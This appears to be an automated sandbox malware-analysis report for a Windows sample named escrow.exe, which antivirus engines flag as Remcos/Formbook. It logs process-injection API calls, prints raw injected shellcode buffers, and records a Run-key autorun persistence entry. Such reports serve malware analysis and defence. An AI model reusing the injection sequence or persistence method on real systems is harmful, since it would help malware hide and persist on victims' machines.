NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000554	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00010000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00020000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00200000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00210000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00220000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00230000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00240000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Ykpsyzz

reg_value

C:\Users\Public\Libraries\zzyspkY.url

Creates a thread using CreateRemoteThread in a non-child process indicative of process injection (5 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2020 created a remote thread in non-child process 2084
CreateRemoteThread Sept. 24, 2021, 5:04 p.m.	thread_identifier: 2196 process_identifier: 2084 function_address: 0x000b0000 flags: 0 stack_size: 0 parameter: 0x00000000 process_handle: 0x00000554	1	1372	0
CreateRemoteThread Sept. 24, 2021, 5:04 p.m.	thread_identifier: 1316 process_identifier: 2084 function_address: 0x00110000 flags: 0 stack_size: 0 parameter: 0x00020000 process_handle: 0x00000554	1	1372	0
CreateRemoteThread Sept. 24, 2021, 5:04 p.m.	thread_identifier: 2552 process_identifier: 2084 function_address: 0x00220000 flags: 0 stack_size: 0 parameter: 0x00210000 process_handle: 0x00000554	1	1368	0
CreateRemoteThread Sept. 24, 2021, 5:04 p.m.	thread_identifier: 2200 process_identifier: 2084 function_address: 0x00240000 flags: 0 stack_size: 0 parameter: 0x00230000 process_handle: 0x00000554	1	1376	0

Manipulates memory of a non-child process indicative of process injection (13 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2020 manipulating memory of non-child process 2084
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10590000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1	0	0
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000554	1	0	0
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1	0	0
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00010000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1	0	0
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00020000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1	0	0
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00110000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1	0	0
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1	0	0
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00200000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1	0	0
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00210000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1	0	0
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00220000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1	0	0
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00230000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1	0	0
NtAllocateVirtualMemory Sept. 24, 2021, 5:04 p.m.	process_identifier: 2084 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00240000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000554	1	0	0

Potential code injection by writing to the memory of another process (12 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2020 injected into non-child 2084
WriteProcessMemory Sept. 24, 2021, 5:04 p.m.	buffer: hÿhÿ×IsuÕ?wkernel32.dllÿ ûX@úX¾t½r púXÉ½r ý~TúXla½rQy½r; ý~púX:½r6;ÃrûXmØ¾rÈúXÈúXÿÿÿÿ4ûX ûX"D§%§ûXÀ%§ØúX¨µ,¬µ,ûXíÊ¨õÊ¨DûXK§ base_address: 0x000b0000 process_identifier: 2084 process_handle: 0x00000554	1	1	0
WriteProcessMemory Sept. 24, 2021, 5:04 p.m.	buffer: GetProcAddress base_address: 0x000c0000 process_identifier: 2084 process_handle: 0x00000554	1	1	0
WriteProcessMemory Sept. 24, 2021, 5:04 p.m.	buffer: kernel32.dll base_address: 0x00010000 process_identifier: 2084 process_handle: 0x00000554	1	1	0
WriteProcessMemory Sept. 24, 2021, 5:04 p.m.	buffer: Õ?w"suEsu base_address: 0x00020000 process_identifier: 2084 process_handle: 0x00000554	1	1	0
WriteProcessMemory Sept. 24, 2021, 5:04 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhÓ¨hÓ¨èñþÿPèóþÿEèh,Ó¨hÓ¨èÙþÿPèÛþÿEäh<Ó¨hÓ¨èÁþÿPèÃþÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàºÒ¨Ãè`üÿÿØÛtjÿSèÂþÿEôPSè0þÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00110000 process_identifier: 2084 process_handle: 0x00000554	1	1	0
WriteProcessMemory Sept. 24, 2021, 5:04 p.m.	buffer: LoadLibraryA base_address: 0x001f0000 process_identifier: 2084 process_handle: 0x00000554	1	1	0
WriteProcessMemory Sept. 24, 2021, 5:04 p.m.	buffer: kernel32.dll base_address: 0x00200000 process_identifier: 2084 process_handle: 0x00000554	1	1	0
WriteProcessMemory Sept. 24, 2021, 5:04 p.m.	buffer: Õ?w"suEsu base_address: 0x00210000 process_identifier: 2084 process_handle: 0x00000554	1	1	0
WriteProcessMemory Sept. 24, 2021, 5:04 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhÓ¨hÓ¨èñþÿPèóþÿEèh,Ó¨hÓ¨èÙþÿPèÛþÿEäh<Ó¨hÓ¨èÁþÿPèÃþÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàºÒ¨Ãè`üÿÿØÛtjÿSèÂþÿEôPSè0þÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00220000 process_identifier: 2084 process_handle: 0x00000554	1	1	0
WriteProcessMemory Sept. 24, 2021, 5:04 p.m.	buffer: YY base_address: 0x00230000 process_identifier: 2084 process_handle: 0x00000554	1	1	0
WriteProcessMemory Sept. 24, 2021, 5:04 p.m.	buffer: UìÄøEUøPUü1ÀPjÿuøÿUüYY]Â@UìÄÔSVWúðEÔÉ¨èuþÿ3ÀUhÒ¨dÿ0d ÆEÿG<ÇEô»Ãj@h0Eô@PPEô@4ÃPè4þÿEð}ðt0hjEðPè+þÿj@h0Eô@PPEô@4ÃPVèþÿEð}ðuû0vEÔPÏUðÆèEÔÀt7EèUàUìUøRUØRPEðPVèòþÿjjMèºÌÐ¨Æè_ýÿÿÀtÆEÿ3ÀZYYdhÒ¨EÔÉ¨èHþÿÃ base_address: 0x00240000 process_identifier: 2084 process_handle: 0x00000554	1	1	0

Network activity contains more than one unique useragent (2 events)

process	escrow.exe				useragent	zipo
process	escrow.exe				useragent	aswe

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2164 resumed a thread in remote process 1048
Process injection	Process 1436 resumed a thread in remote process 240
NtResumeThread Sept. 24, 2021, 5:04 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 1048	1	0	0
NtResumeThread Sept. 24, 2021, 5:04 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 240	1	0	0

Uses Sysinternals tools in order to add additional command line functionality (1 event)

cmdline

mobsync.exe

File has been identified by 33 AntiVirus engines on VirusTotal as malicious (33 events)

Bkav	W32.AIDetect.malware2
Lionic	Trojan.Win32.Remcos.m!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Gen:Variant.Zusy.401770
FireEye	Generic.mg.4568267da235d998
McAfee	Fareit-FCVN!4568267DA235
Cylance	Unsafe
Cybereason	malicious.f29a61
Arcabit	Trojan.Zusy.D6216A
Cyren	W32/Trojan.FPST-1890
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/Kryptik.HMPA
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Trojan-Downloader.Win32.Formbook.gen
BitDefender	Gen:Variant.Zusy.401770
Ad-Aware	Gen:Variant.Zusy.401770
Emsisoft	Gen:Variant.Zusy.401770 (B)
McAfee-GW-Edition	BehavesLike.Win32.Generic.bh
Sophos	Mal/Generic-S
Webroot	W32.Malware.Gen
MAX	malware (ai score=85)
Microsoft	Trojan:Script/Phonzy.B!ml
ZoneAlarm	HEUR:Trojan-Downloader.Win32.Formbook.gen
GData	Gen:Variant.Zusy.401770
Cynet	Malicious (score: 100)
AhnLab-V3	Malware/Win.Generic.C4644943
VBA32	BScope.Backdoor.Remcos
Malwarebytes	Generic.Malware/Suspicious
TrendMicro-HouseCall	TROJ_GEN.R002C0PIO21
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	W32/Delf.DCB!tr
Panda	Trj/GdSda.A

escrow.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All